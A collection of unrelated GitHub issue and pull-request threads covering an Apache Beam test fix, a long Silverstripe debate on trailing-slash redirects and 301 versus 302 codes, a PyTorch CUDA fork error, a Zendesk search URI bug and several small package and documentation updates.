Regarding the variables and their underlying values, one difference vs. vscode is that we're using treesitter which is what made me think this might be possible since I'm wondering if it isn't possible to traverse the tree and find the value it points to? Not that I know how
In either case that's kind of an enhancement that can come later since I'm just trying to get this usable and there are other things to sort out.
It is quite a common use case in go though since it's very common to
do something like
for _, case := range testcases {
  t.Run(case.name, func(t *testing.T) {
   // ...
  })
}

Ah sorry about that you're right there was a bug, should be working now.
That's a very cool idea alright, especially if it's more common to have static variables for the test cases so they could be parsed.


Fix PipelineOptionTest.test_display_data

Fixes #21116
Please add a meaningful description for your change here

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Mention the appropriate issue in your description (for example: addresses #123), if applicable. This will automatically add a link to the pull request in the issue. If you would like the issue to automatically close on merging the pull request, comment fixes #<ISSUE NUMBER> instead.
[ ] Update CHANGES.md with noteworthy changes.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.
To check the build health, please visit https://github.com/apache/beam/blob/master/.test-infra/BUILD_STATUS.md
GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

ref: https://stackoverflow.com/questions/52428679/how-to-remove-classes-from-subclasses
tested this approach should work. Code snippet:
from apache_beam.options.pipeline_options import PipelineOptions

class PipelineOptionTest:
  class UserDefinedOptions(PipelineOptions):
    @classmethod
    def _add_argparse_args(cls, parser):
      parser.add_value_provider_argument('--gcs_location')

  @classmethod
  def setUpClass(cls):
    cls.UserDefinedOptions = PipelineOptionTest.UserDefinedOptions

  def tearDown(self):
    # Unset the option added in setupClass to avoid interfere with other tests
    del PipelineOptionTest.UserDefinedOptions
    import gc
    gc.collect()

  def run(self):
    print(PipelineOptions.__subclasses__())
    x = PipelineOptions().get_all_options()
    print(x)

if __name__ == '__main__':
  test_instance = PipelineOptionTest()
  test_instance.setUpClass()
  test_instance.run()
  test_instance.tearDown()
  test_instance.run()

output:

{'runner': None, ... 's3_region_name': None, 's3_api_version': None, 's3_verify': None, 's3_disable_ssl': False, 'gcs_location': <apache_beam.options.value_provider.RuntimeValueProvider object at 0x1288d3c70>}
{'runner': None, ... 's3_region_name': None, 's3_api_version': None, 's3_verify': None, 's3_disable_ssl': False}

as can be seen the second run there is no longer --gcs_location

R: @damccorm


CanonicalURLMiddleware should support trailing slash redirection

Affected Version
4.x
Description
CanonicalURLMiddleware should be able to force redirection to URLs with trailing slashes in case it's not ending with a file extension.

Few notes:

I believe that the trailing slash version is slightly more correct i.e. /some/page/ vs /some/page
It seems that trailing slashes suit the concept of nested pages a lot nicer
Would be good to globally default to the trailing slash version, though maybe allow admins to globally change this to a non-trailing slash version (though also maybe better to not allow this)
Should avoid 301's for redirection due to number of things that can go wrong, recommend you simply use a 302

Even though there's a module for this https://github.com/axllent/silverstripe-trailing-slash, I'd support a move to have that as the standard from SS 4.4 or SS 5.

Google says that it's OK to serve identital content under both URLs, although you can improve crawl efficiency by redirecting (and it's best practice). There's other layers this can be fixed in as well (webserver). So I'm marking this as an impact/low enhancement. Meaning: If there's no takers to send a pull request soon, the issue will likely be closed.

Looks like that Google article might have been a bit old, these duplicate URLs can lead to "unwanted behaviour". We're expecting this to be causing issues with google advertising bids (among other things). From Google:

If you don't explicitly tell Google which URL is canonical, Google will make the choice for you, or might consider them both of equal weight, which might lead to unwanted behavior, as explained below in Why should I choose a canonical URL?

Does anyone have further feedback on @emteknetnz's comment before I define some ACs for this?

Should avoid 301's for redirection due to number of things that can go wrong, recommend you simply use a 302

Guess we'll need to decide a couple of things.  For the solution we go with it's probably either:
a) Use a canonical tag
b) Use a 302 redirect
And secondly:
a) Should the trailing tag be the default, OR
b) Should the no trailing tag be the default
We should research both of these and discuss before deciding on either

a) both and a) trailing slash default

There's a few other cases to consider that this (awesome) module axllent/silverstripe-trailing-slash helps call out, including:

When not to redirect, i.e example.com/contact.html & example.com/contact?test
Only act on $_GET requests as not to interfere with any posted data
Create additional "ignore_paths" by creating a yaml config

I think this needs to go into 4.x to be useful. And of the three options @emteknetnz outlined, I only see b) as something we can do in a minor release.
With a) and c), a canonical tag default would need to be injected via $MetaTags in the template. Not everyone keeps this marker in their template, and many custom templates would already have their own canonical link markup. Which would lead to duplicate (and potentially different) canonical tags. A common use case is to declare a main domain when showing content on other vanity domains.
We could add <link rel=canonical href=$RelativeLink> to our default themes, but that won't apply to any existing sites. I would also be careful with $AbsoluteLink (incl. the domain) since that can mess with static publishing (serving files under multiple domains, production domain aliases, etc).
So in conclusion, canonical tags are a bit of a minefield for us as a framework. I'd focus this issue on trailing slash redirections. @michalkleiner Do you want to have a go at a pull request for this?

I think this needs to go into 4.x to be useful. And of the three options @emteknetnz outlined, I only see b) as something we can do in a minor release.
With a) and c), a canonical tag default would need to be injected via $MetaTags in the template. Not everyone keeps this marker in their template, and many custom templates would already have their own canonical link markup. Which would lead to duplicate (and potentially different) canonical tags. A common use case is to declare a main domain when showing content on other vanity domains.
We could add <link rel=canonical href=$RelativeLink> to our default themes, but that won't apply to any existing sites. I would also be careful with $AbsoluteLink (incl. the domain) since that can mess with static publishing (serving files under multiple domains, production domain aliases, etc).
So in conclusion, canonical tags are a bit of a minefield for us as a framework. I'd focus this issue on trailing slash redirections. @michalkleiner Do you want to have a go at a pull request for this?

On HTTP codes, I believe we should default this to a 301 Permanent rather than a 302 Temporary, since that's the Google recommendation: https://developers.google.com/search/docs/advanced/crawling/consolidate-duplicate-urls. It also avoids increasing crawler activity, since crawlers would always send two requests with a 302 Temporary. We'd have to be pretty certain that it doesn't mess up the URL (keeps query params and hashes intact).

On HTTP codes, I believe we should default this to a 301 Permanent rather than a 302 Temporary, since that's the Google recommendation: https://developers.google.com/search/docs/advanced/crawling/consolidate-duplicate-urls. It also avoids increasing crawler activity, since crawlers would always send two requests with a 302 Temporary. We'd have to be pretty certain that it doesn't mess up the URL (keeps query params and hashes intact).

Just realised that you can set canonical via a HTTP header as well: https://developers.google.com/search/docs/advanced/crawling/consolidate-duplicate-urls#expandable-7. That has the same issues though - we can't tell if a custom template already makes use of <link rel=canonical>, at least without string matching the whole HTML response (which I'd rather avoid).
Google recommends absolute paths in canonical (incl. domain). We could only build this into our default templates (<link> tag) or response (rel="canonical") if we forced devs to configure their "main" domain in every Silverstripe installation. At the moment this is optional, and only required for subsites. Given how easy it is to add a <link> tag to your own template, I don't think it's worth the framework pushing itself into the middle of this.

Just realised that you can set canonical via a HTTP header as well: https://developers.google.com/search/docs/advanced/crawling/consolidate-duplicate-urls#expandable-7. That has the same issues though - we can't tell if a custom template already makes use of <link rel=canonical>, at least without string matching the whole HTML response (which I'd rather avoid).
Google recommends absolute paths in canonical (incl. domain). We could only build this into our default templates (<link> tag) or response (rel="canonical") if we forced devs to configure their "main" domain in every Silverstripe installation. At the moment this is optional, and only required for subsites. Given how easy it is to add a <link> tag to your own template, I don't think it's worth the framework pushing itself into the middle of this.

Personally, I like URLs without trailing slashes. I wonder if approaching this as an optional feature that can either force the addition or removal of slashes makes sense?
I would note that if you have 302 redirects, it's not clear to me what additional value the canonical meta tag will provide - there will never be an incorrect URL that actually returns HTML!
Introducing it as optional in the first instance would at least be a way of testing it in production before forcing it on people...?

Personally, I like URLs without trailing slashes. I wonder if approaching this as an optional feature that can either force the addition or removal of slashes makes sense?
I would note that if you have 302 redirects, it's not clear to me what additional value the canonical meta tag will provide - there will never be an incorrect URL that actually returns HTML!
Introducing it as optional in the first instance would at least be a way of testing it in production before forcing it on people...?

I'm ambivalent about URLS with or without trailing slashes. There's a slight argument for trailing slashes in a system which generally produces deeply nested URL paths. I don't think Google recommends either way as the "right" one.
If it's an optional feature, we've got that use case covered in the module already IMHO. I'm happy with a phased rollout in order to work through the kinks (e.g. a feature flag in 4.8, default in 4.9). But unless the end goal is a default setting, this is perfectly fine in a module.
As an aside, as an ecosystem we're not very good at surfacing those optional best practices. The addons site lists "popular" modules, but it's still hard to figure out what you should add to your own project starter (kinglozzer/metatitle is another good example). Separate discussioni, but worth mentioning. Adding features and defaults to core should be a last resort, because it increases the maintenance surface for a very small team of core maintainers.

I'm ambivalent about URLS with or without trailing slashes. There's a slight argument for trailing slashes in a system which generally produces deeply nested URL paths. I don't think Google recommends either way as the "right" one.
If it's an optional feature, we've got that use case covered in the module already IMHO. I'm happy with a phased rollout in order to work through the kinks (e.g. a feature flag in 4.8, default in 4.9). But unless the end goal is a default setting, this is perfectly fine in a module.
As an aside, as an ecosystem we're not very good at surfacing those optional best practices. The addons site lists "popular" modules, but it's still hard to figure out what you should add to your own project starter (kinglozzer/metatitle is another good example). Separate discussioni, but worth mentioning. Adding features and defaults to core should be a last resort, because it increases the maintenance surface for a very small team of core maintainers.

Would pretty strongly recommend against 301 and go for 302's instead.  While 301's are better for SEO, 301's get cached in browsers which means there's no central mechanism available to undo them if you do something wrong.  I've seen it go wrong and customers really don't like it :-/
302's are reversible so it allows:

CMS configuration where you toggle trailing/non-trailing slashses
regular silverstripe functionality such as renaming page urls e.g. moving a page in the site tree

Would pretty strongly recommend against 301 and go for 302's instead.  While 301's are better for SEO, 301's get cached in browsers which means there's no central mechanism available to undo them if you do something wrong.  I've seen it go wrong and customers really don't like it :-/
302's are reversible so it allows:

CMS configuration where you toggle trailing/non-trailing slashses
regular silverstripe functionality such as renaming page urls e.g. moving a page in the site tree

Sorry but I disagree. Google recommends 301s, and they don't cause duplicate requests that impact server performance/capacity. If we're unsure that we can introduce this in a minor release as a new default with a 301, I'd rather keep it as a module.
I'm very aware that you need to get 301s right if you're sending those with cache headers for the browser. But in the specific case of 301s for slashes, what's the scenario where this could cause issues for customers?
The main point of contention for any new default behaviour (301 or 302, slashes or no slashes) is that a developer has already configured it one way or another on the webserver level (CDN, nginx config or .htaccess). This might cause infinite redirection loops, e.g. if we decide to redirect to slashes, but the dev removes the slash in .htaccess. We can detect the Referer header to break that loop?

Sorry but I disagree. Google recommends 301s, and they don't cause duplicate requests that impact server performance/capacity. If we're unsure that we can introduce this in a minor release as a new default with a 301, I'd rather keep it as a module.
I'm very aware that you need to get 301s right if you're sending those with cache headers for the browser. But in the specific case of 301s for slashes, what's the scenario where this could cause issues for customers?
The main point of contention for any new default behaviour (301 or 302, slashes or no slashes) is that a developer has already configured it one way or another on the webserver level (CDN, nginx config or .htaccess). This might cause infinite redirection loops, e.g. if we decide to redirect to slashes, but the dev removes the slash in .htaccess. We can detect the Referer header to break that loop?

Google recommends 301s, and they don't cause duplicate requests that impact server performance/capacity

I agree that 301's have definate benefits, namely:

Server performance
Browser performance (less HTTP requests)
SEO (though this is hard/impossible to quantify)

However they come with the downsides of:

less flexibility / ability to change things later
they can break your site if they're misconfigured

I see it as a tradeoff between performance and ease-of-use.  As a general rule of thumb, ease-of-use tends to be a better thing to design for rather than performance and causes less headaches.

But in the specific case of 301s for slashes, what's the scenario where this could cause issues for customers?

If we allow configuration in the module to let customers toggle between non-slash and slash.  Even if we don't allow toggling and we simply say "this is the correct way", I'd still expect some customers to ask their developers to change from this way to other other because they customer (or their SEO specialist, or marketing specialist, or just their developer) thinks it's the correct/prettier way of doing it.  If there's an existing browser cached 301 then it'll causing an infinite loop once it's toggled.

This might cause infinite redirection loops, e.g. if we decide to redirect to slashes, but the dev removes the slash in .htaccess .. we can detect the Referer header to break that loop?

How would we do that?  Would that work in every infrastructure configuration?

Google recommends 301s, and they don't cause duplicate requests that impact server performance/capacity

I agree that 301's have definate benefits, namely:

Server performance
Browser performance (less HTTP requests)
SEO (though this is hard/impossible to quantify)

However they come with the downsides of:

less flexibility / ability to change things later
they can break your site if they're misconfigured

I see it as a tradeoff between performance and ease-of-use.  As a general rule of thumb, ease-of-use tends to be a better thing to design for rather than performance and causes less headaches.

But in the specific case of 301s for slashes, what's the scenario where this could cause issues for customers?

If we allow configuration in the module to let customers toggle between non-slash and slash.  Even if we don't allow toggling and we simply say "this is the correct way", I'd still expect some customers to ask their developers to change from this way to other other because they customer (or their SEO specialist, or marketing specialist, or just their developer) thinks it's the correct/prettier way of doing it.  If there's an existing browser cached 301 then it'll causing an infinite loop once it's toggled.

This might cause infinite redirection loops, e.g. if we decide to redirect to slashes, but the dev removes the slash in .htaccess .. we can detect the Referer header to break that loop?

How would we do that?  Would that work in every infrastructure configuration?

OK, I think we have the following options:

Option A: Enable by default, 301 redirects.
Option B: Enable by default, 302 redirects.
Option C: Opt-in in core, with devs deciding on 301 vs. 302 redirects
Option D: Keep as a current module functionality

How widespread is this issue of non-canonical URLs being indexed by search engines actually? In a site that uses the current 4.x defaults, generated links will contain a slash. As long as that's the only way links are created and crawled by search engines, there's no issue. If the framework generates links without that slash, then we should fix that inconsistency, which doesn't require us to build any redirection into core.
How about we just ensure the framework generates URLs consistently (e.g. in SiteTree->Link()), make that configurable (slash or no slash), and then call it a day? If you really care about SEO and are afraid that somehow outside of framework, search engines will pick up on non-canonical URLs, then ... there's a module for that.

OK, I think we have the following options:

Option A: Enable by default, 301 redirects.
Option B: Enable by default, 302 redirects.
Option C: Opt-in in core, with devs deciding on 301 vs. 302 redirects
Option D: Keep as a current module functionality

How widespread is this issue of non-canonical URLs being indexed by search engines actually? In a site that uses the current 4.x defaults, generated links will contain a slash. As long as that's the only way links are created and crawled by search engines, there's no issue. If the framework generates links without that slash, then we should fix that inconsistency, which doesn't require us to build any redirection into core.
How about we just ensure the framework generates URLs consistently (e.g. in SiteTree->Link()), make that configurable (slash or no slash), and then call it a day? If you really care about SEO and are afraid that somehow outside of framework, search engines will pick up on non-canonical URLs, then ... there's a module for that.

There's also another option
Option E: Similar to what was intended with mysql utf8mb4 where it was enabled by default for new projects and opt-in for existing projects.

Option C: Opt-in in core, with devs deciding on 301 vs. 302 redirects

My concern with is this would be that this will likely result in low uptake as I'm assuming that most devs and site-owners won't be aware this is even a thing

There's also another option
Option E: Similar to what was intended with mysql utf8mb4 where it was enabled by default for new projects and opt-in for existing projects.

Option C: Opt-in in core, with devs deciding on 301 vs. 302 redirects

My concern with is this would be that this will likely result in low uptake as I'm assuming that most devs and site-owners won't be aware this is even a thing

OK, I'll wait for @silverstripe/core-team to weigh in on this for a few days, but my vote goes to "Option D: Keep as a current module functionality", and I'm planning to close this issue. If anyone feels strongly about this, I would recommend that they offer to write an SEO focused blog post on ss.org which flags this module as a potential default addition for custom project starter kits. And add it to their own project starter kit. I'm open to ideas on how we can promote these better as well.

OK, I'll wait for @silverstripe/core-team to weigh in on this for a few days, but my vote goes to "Option D: Keep as a current module functionality", and I'm planning to close this issue. If anyone feels strongly about this, I would recommend that they offer to write an SEO focused blog post on ss.org which flags this module as a potential default addition for custom project starter kits. And add it to their own project starter kit. I'm open to ideas on how we can promote these better as well.

First off, I really hate how much collective time this relatively unimportant vanity issue takes up across all software/website projects in the world - I find it unbelievable people are worrying about such a mundane problem that for almost all sites will have no meaningful impact whatsoever and the additional redirects people propose will actively hurt their site's SEO performance (TTFB is increased for no user benefit - any changes intended solely for search engines' benefit is not good SEO and users don't care if your URLs end in slashes or not or both).
To address some of the points:

Redirects (if used) should be 301. If we can't make them work reliably and so have to use 302s to cover that, then we shouldn't  release the feature.
Canonical tags act like 301s as far as SEs are concerned, so that is perfectly acceptable result; as @chillu points out, we can't really inject this into $MetaTags because lots of template creators will already have added the canonical tags and some may not even use the $MetaTags template variable.
Again, as @chillu points out, we should have more consistent URL generation rather than forcing a middleware to issue excessive redirects
People who care about this will be using solutions outside the framework - this really isn't a framework related issue.

Overall I agree with @chillu, leave this as functionality in a separate module; it seems like a lot more edge-cases and features have been considered and implemented there, we don't want to increase the maintenance burden on the core team for a vanity feature, and (if this is really a big deal) it would actually be more correct for us to serve 404s on one of the options.

First off, I really hate how much collective time this relatively unimportant vanity issue takes up across all software/website projects in the world - I find it unbelievable people are worrying about such a mundane problem that for almost all sites will have no meaningful impact whatsoever and the additional redirects people propose will actively hurt their site's SEO performance (TTFB is increased for no user benefit - any changes intended solely for search engines' benefit is not good SEO and users don't care if your URLs end in slashes or not or both).
To address some of the points:

Redirects (if used) should be 301. If we can't make them work reliably and so have to use 302s to cover that, then we shouldn't  release the feature.
Canonical tags act like 301s as far as SEs are concerned, so that is perfectly acceptable result; as @chillu points out, we can't really inject this into $MetaTags because lots of template creators will already have added the canonical tags and some may not even use the $MetaTags template variable.
Again, as @chillu points out, we should have more consistent URL generation rather than forcing a middleware to issue excessive redirects
People who care about this will be using solutions outside the framework - this really isn't a framework related issue.

Overall I agree with @chillu, leave this as functionality in a separate module; it seems like a lot more edge-cases and features have been considered and implemented there, we don't want to increase the maintenance burden on the core team for a vanity feature, and (if this is really a big deal) it would actually be more correct for us to serve 404s on one of the options.

Thanks for the validation and summary, Dan! Closing this now.

Thanks for the validation and summary, Dan! Closing this now.

I agree that this is just a vanity issue but it’s something that keeps coming up - we get bugged about it from clients who want “Twitter-style” URLs without trailing slashes (why they think Twitter invented it I have no idea!). I also agree that redirects should be left off the table - they’re too risky - but I do think we could look at fixing up our URL generation.
Would anyone object to passing all framework-generated links through some form of “helper” class? I’m thinking places like SiteTree::Link(), and even Controller::join_links(), could return VanityURLRewriter::rewrite($link);. It would make it much easier to encapsulate the 3 behaviours I think we need to support:

"Legacy" mode, default for existing projects, where the rewriter would just return $link;
"Remove slashes" mode, where the rewriter would return rtrim($link, '/');
"Force slashes" mode, where the rewriter would return rtrim($link, '/') . '/';

I might be oversimplifying slightly because we’d need to ensure asset URLs aren’t rewritten (hopefully just a case of choosing not to pass them through the rewriter), but I think that approach would avoid ad-hoc implementations around core and would help guarantee backward compatibility if we do decide to try to adjust our URL generation.

I agree that this is just a vanity issue but it’s something that keeps coming up - we get bugged about it from clients who want “Twitter-style” URLs without trailing slashes (why they think Twitter invented it I have no idea!). I also agree that redirects should be left off the table - they’re too risky - but I do think we could look at fixing up our URL generation.
Would anyone object to passing all framework-generated links through some form of “helper” class? I’m thinking places like SiteTree::Link(), and even Controller::join_links(), could return VanityURLRewriter::rewrite($link);. It would make it much easier to encapsulate the 3 behaviours I think we need to support:

"Legacy" mode, default for existing projects, where the rewriter would just return $link;
"Remove slashes" mode, where the rewriter would return rtrim($link, '/');
"Force slashes" mode, where the rewriter would return rtrim($link, '/') . '/';

I might be oversimplifying slightly because we’d need to ensure asset URLs aren’t rewritten (hopefully just a case of choosing not to pass them through the rewriter), but I think that approach would avoid ad-hoc implementations around core and would help guarantee backward compatibility if we do decide to try to adjust our URL generation.

I don't know that we need an extra function to run links through, maybe we just need a central link generator?
The issue isn't just the links that are generated, but the URLs the application accepts. Should SS route /test/ the same as /test? Stricter engines would not.
Dealing with assets should be fairly straightforward... Just refuse to add trailing slashes to URLs that have a . in them

I don't know that we need an extra function to run links through, maybe we just need a central link generator?
The issue isn't just the links that are generated, but the URLs the application accepts. Should SS route /test/ the same as /test? Stricter engines would not.
Dealing with assets should be fairly straightforward... Just refuse to add trailing slashes to URLs that have a . in them

Which links generated by core are realistically affected by such a helper method? You can already use an update hook on SiteTree::Link(), and asset links are already meant to be excluded from this logic. Nobody cares about this in CMS links, right? I'm in favour of keeping things simple here.

Which links generated by core are realistically affected by such a helper method? You can already use an update hook on SiteTree::Link(), and asset links are already meant to be excluded from this logic. Nobody cares about this in CMS links, right? I'm in favour of keeping things simple here.

Sorry to keep going with this topic. I wasn't aware of this discussion when I submitted https://github.com/silverstripe/silverstripe-cms/pull/2631.
The intent of my PR is to create more consistent URLs across a site.
As far as I know, only SiteTree ads a trailing slash to its links, and only if no action is present.
As pointed out in my PR Controller::join_links() should also be simplified to make sure there are no trailing slashes.
Regarding routing, I think SS should still route /test/ the same as /test. It's a simple fact that in SS they are the same.
re what @chillu mentioned, unfortunately the update hook in SiteTree::RelativeLink() is called before the trailing slash is added. Of course this can be overwritten in Link() and AbsoluteLink(). But just saying.. ;)

Sorry to keep going with this topic. I wasn't aware of this discussion when I submitted https://github.com/silverstripe/silverstripe-cms/pull/2631.
The intent of my PR is to create more consistent URLs across a site.
As far as I know, only SiteTree ads a trailing slash to its links, and only if no action is present.
As pointed out in my PR Controller::join_links() should also be simplified to make sure there are no trailing slashes.
Regarding routing, I think SS should still route /test/ the same as /test. It's a simple fact that in SS they are the same.
re what @chillu mentioned, unfortunately the update hook in SiteTree::RelativeLink() is called before the trailing slash is added. Of course this can be overwritten in Link() and AbsoluteLink(). But just saying.. ;)

Also, some classes don't use Controller::join_links() at all, e.g. https://github.com/silverstripe/silverstripe-framework/blob/4/src/ORM/PaginatedList.php#L446-L453. They use the current request, which never has a trailing slash.

Also, some classes don't use Controller::join_links() at all, e.g. https://github.com/silverstripe/silverstripe-framework/blob/4/src/ORM/PaginatedList.php#L446-L453. They use the current request, which never has a trailing slash.

Yeah maybe I’m trying to over-engineer this, my main concerns are that we make any changes to URL-generation opt-in and that we can guarantee  backward compatibility if you choose not to. I’m also not keen on us deciding “no trailing slash is correct” on behalf of everyone (though it’s arguably better than the status-quo). I don’t see any nice way of achieving that without abstracting this out somewhere new,  or we’re going to end up with a bunch of duplicated logic everywhere we generate links.

Also, some classes don't use Controller::join_links() at all

Even those that do use Controller::join_links() still generate inconsistent URLs: some modules add a trailing slash to the arguments, some modules don’t. I think we’d ideally also adjust join_links() and add the same logic.
Perhaps a slightly more generic URLGenerator class would be a more worthwhile addition? We could move other methods like Controller::join_links() and HTTP::setGetVar() into it. I know we don’t want to take on any significant maintenance burden, but it seems to me like it’d be a fairly simple class to maintain.
I don’t mind “owning” the task of implementing this if it gets a vote of confidence, though I’m not sure when I’ll get round to it as I have another big open source job on my plate at the moment. If anyone else wants to take it on instead that’s great - I just want to clarify that I’d be willing to do it, as I know I have a habit of proposing solutions that other people have to spend time implementing 😉

I don't mind too much either way - a URLGenerator class would sure be handy. But the devil is in the details: Are you also updating docs and recommending usage of the new class? How about writing release notes and upgrade guides? Ensuring that the "core" modules (and potentially Supported Modules) use the new API? If you are happy taking this change through those steps, I'm happy to support it :)


torch.cuda.get_device_name -> Cannot re-initialize CUDA in forked subprocess

Hi!
The call of torch.cuda.get_device_name() results in an error
[2021-10-28 11:27:22,347] INFO [Flow] [pid:3602] Flow is starting
[2021-10-28 11:27:22,350] INFO [Flow] [pid:3602] Created step <__main__.SimpleHandler object at 0x7fec940ef280>, queue_in: <multiprocessing.queues.Queue object at 0x7fec940ef340>, queue_out:<multiprocessing.queues.Queue object at 0x7fec8c0d3eb0>
[2021-10-28 11:27:22,351] INFO [Flow] [pid:3606] [Worker] initialising handler SimpleHandler
[2021-10-28 11:27:22,351] INFO [Flow] [pid:3602] Flow was started
[2021-10-28 11:27:22,353] ERROR [Flow] [pid:3606] Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/aqueduct/multiprocessing.py", line 61, in _wrap
    fn(i, *args)
  File "/usr/local/lib/python3.8/site-packages/aqueduct/worker.py", line 120, in loop
    self._start()
  File "/usr/local/lib/python3.8/site-packages/aqueduct/worker.py", line 75, in _start
    self.task_handler.on_start()
  File "example.py", line 15, in on_start
    torch.zeros((10, 10), device=torch.device('cuda:0'))
  File "/usr/local/lib/python3.8/site-packages/torch/cuda/__init__.py", line 147, in _lazy_init
    raise RuntimeError(
RuntimeError: Cannot re-initialize CUDA in forked subprocess. To use CUDA with multiprocessing, you must use the 'spawn' start method
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/aqueduct/multiprocessing.py", line 61, in _wrap
    fn(i, *args)
  File "/usr/local/lib/python3.8/site-packages/aqueduct/worker.py", line 120, in loop
    self._start()
  File "/usr/local/lib/python3.8/site-packages/aqueduct/worker.py", line 75, in _start
    self.task_handler.on_start()
  File "example.py", line 15, in on_start
    torch.zeros((10, 10), device=torch.device('cuda:0'))
  File "/usr/local/lib/python3.8/site-packages/torch/cuda/__init__.py", line 147, in _lazy_init
    raise RuntimeError(
RuntimeError: Cannot re-initialize CUDA in forked subprocess. To use CUDA with multiprocessing, you must use the 'spawn' start method
[2021-10-28 11:27:23,353] ERROR [Flow] [pid:3602] The process 3606 for SimpleHandler handler is dead
[2021-10-28 11:27:23,353] INFO [Flow] [pid:3602] Flow is stopping

aqueduct-1.7.1, base example:
import asyncio

import torch
from aqueduct.flow import Flow, FlowStep
from aqueduct.handler import BaseTaskHandler
from aqueduct.task import BaseTask

torch.cuda.get_device_name()

class SimpleHandler(BaseTaskHandler):

    def on_start(self):
        torch.zeros((10, 10), device=torch.device('cuda:0'))

    def handle(self, *tasks: BaseTask):
        pass

def main():
    flow = Flow(FlowStep(SimpleHandler()))
    flow.start()

    coro = flow.process(BaseTask())
    asyncio.get_event_loop().run_until_complete(coro)

if __name__ == '__main__':
    main()

This is happens because you using torch+cuda in main process. To avoid this problem you need to use torch+cuda in child process, you can try this:
    def on_start(self):
        torch.cuda.get_device_name()
        torch.zeros((10, 10), device=torch.device('cuda:0'))

We think how to avoid this in future, but now you have this workaround.


Revert "fix(isolated_declarations): Always emit module declarations (#4911)"

This reverts commit 0fb0b71f0d2615c39e7d7bcee764915aa76ce2d0.
test failed  https://github.com/oxc-project/oxc/actions/runs/10405198969/job/28815418191
We should only emit for
declare module "xx" {}
declare global {}

Do not emit for
module x {}
declare module x {}

@MichaelMitchell-at cc

@Dunqing sorry and thanks. I put up another fix here https://github.com/oxc-project/oxc/pull/4919


bug: wrong URI creation with params

We have a query that looks like this, which fails:
zendeskClient.getSearchResults(Ticket.class, "requester:1111",                                                                 "sort_by=created_at&sort_order=desc&page=1&per_page=11");
This results in a query:
http://company.zendesk.com/api/v2/search.json?query=requester%3A1111%2Btype%3Aticket&params=sort_by%3Dcreated_at%2Bsort_order%3Ddesc%2Bpage%3D1%2Bper_page%3D11
which returns default results with page 100 instead of indicated 11.
so query should be smth like this
query=type:ticket requester:1111&sort_by=created_at&sort_order=desc&page=2&per_page=11

So the implementation of org.zendesk.client.v2.Zendesk#getSearchResults(java.lang.Class<T>, java.lang.String, java.lang.String) is interesting. Was it intended that "params" be things like sort order? If so, should it have been a string? Or some Map<String, String>?
I need to perform a search and sort the results by updated_at. I'd like to submit a PR to support this and overcome the // TODO search with sort order comment in Zendesk.java
Could a repo owner chime in here?


gnome.nautilus: 43.1 → 43.2

Description of changes
This update reintroduces the 67% (64px) zoom level.
https://gitlab.gnome.org/GNOME/nautilus/-/compare/43.1...43.2
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Works okay, thanks.


fix(config): disable Supervision for Kwikset HC620, add to naughtly list

This should fix the issue explained in https://github.com/zwave-js/node-zwave-js/discussions/5566, seeing that Kwikset are not interested in fixing this.

@zwave-js-bot automerge


Update stable/redis/README.md

Delete a duplicated word.
Line 117: "a Persistent Volume volume"

/ok-to-test

/lgtm

/assign @prydonius

/lgtm


Can you help with this?

Hello,
I would really appreciate if you could help me sort out a way to manage this.
https://stackoverflow.com/questions/41104406/how-to-handle-sockets-in-php
Thank you

Answer provided http://stackoverflow.com/a/41130607


Update to async_upnp_client==0.14.11

Description:
Update to async_upnp_client==0.14.11, fixing to problem as reported in https://github.com/StevenLooman/async_upnp_client/issues/41
Checklist:

[x] The code change is tested and works locally.
[x] Local tests pass with tox. Your PR cannot be merged unless tests pass
[x] There is no commented out code in this PR.
[x] I have followed the development checklist

If the code communicates with devices, web services, or third-party tools:

[x] The manifest file has all fields filled out correctly. Update and include derived files by running python3 -m script.hassfest.
[x] New or updated dependencies have been added to requirements_all.txt by running python3 -m script.gen_requirements_all.
[x] Untested files have been added to .coveragerc.

Thanks!


[WIP] Add scrollable class for Simulate screen

https://bugzilla.redhat.com/show_bug.cgi?id=1297030

@miq-bot add_label ui, bug

@skateman I added the class back in, but something else is off - the div is scrollable, but the buttons are still cut off. Shouldn't the resizer be working? I see "resizable" class.

@miq-bot add_label wip

@miq-bot remove_label wip

@miq-bot add_label darga/yes

@skateman please see https://github.com/ManageIQ/manageiq/pull/8162#issuecomment-213039238 above

@dclarizio that is already fixed


How to unpack a Arrow.Timestamp{Arrow.Flatbuf.TimeUnitModule.MILLISECOND,:UTC}?

I've ended up with one of these:
julia> df.timestamp[3]
Arrow.Timestamp{Arrow.Flatbuf.TimeUnitModule.MILLISECOND,:UTC}(1556703758692)

julia> convert(DateTime, df.timestamp[3])
ERROR: MethodError: Cannot `convert` an object of type Arrow.Timestamp{Arrow.Flatbuf.TimeUnitModule.MILLISECOND,:UTC} to an object of type DateTime
Closest candidates are:
  convert(::Type{DateTime}, ::Date) at /buildworker/worker/package_linux64/build/usr/share/julia/stdlib/v1.5/Dates/src/conversions.jl:30
  convert(::Type{DateTime}, ::Millisecond) at /buildworker/worker/package_linux64/build/usr/share/julia/stdlib/v1.5/Dates/src/conversions.jl:34
  convert(::Type{DateTime}, ::Arrow.Date{Arrow.Flatbuf.DateUnitModule.MILLISECOND,Int64}) at~/.julia/packages/Arrow/JIMGY/src/eltypes.jl:164
  ...
Stacktrace:
 [1] top-level scope at REPL[123]:1

Is there any easy way to unpack it into a (tz-less, implicitly UTC) DateTime?

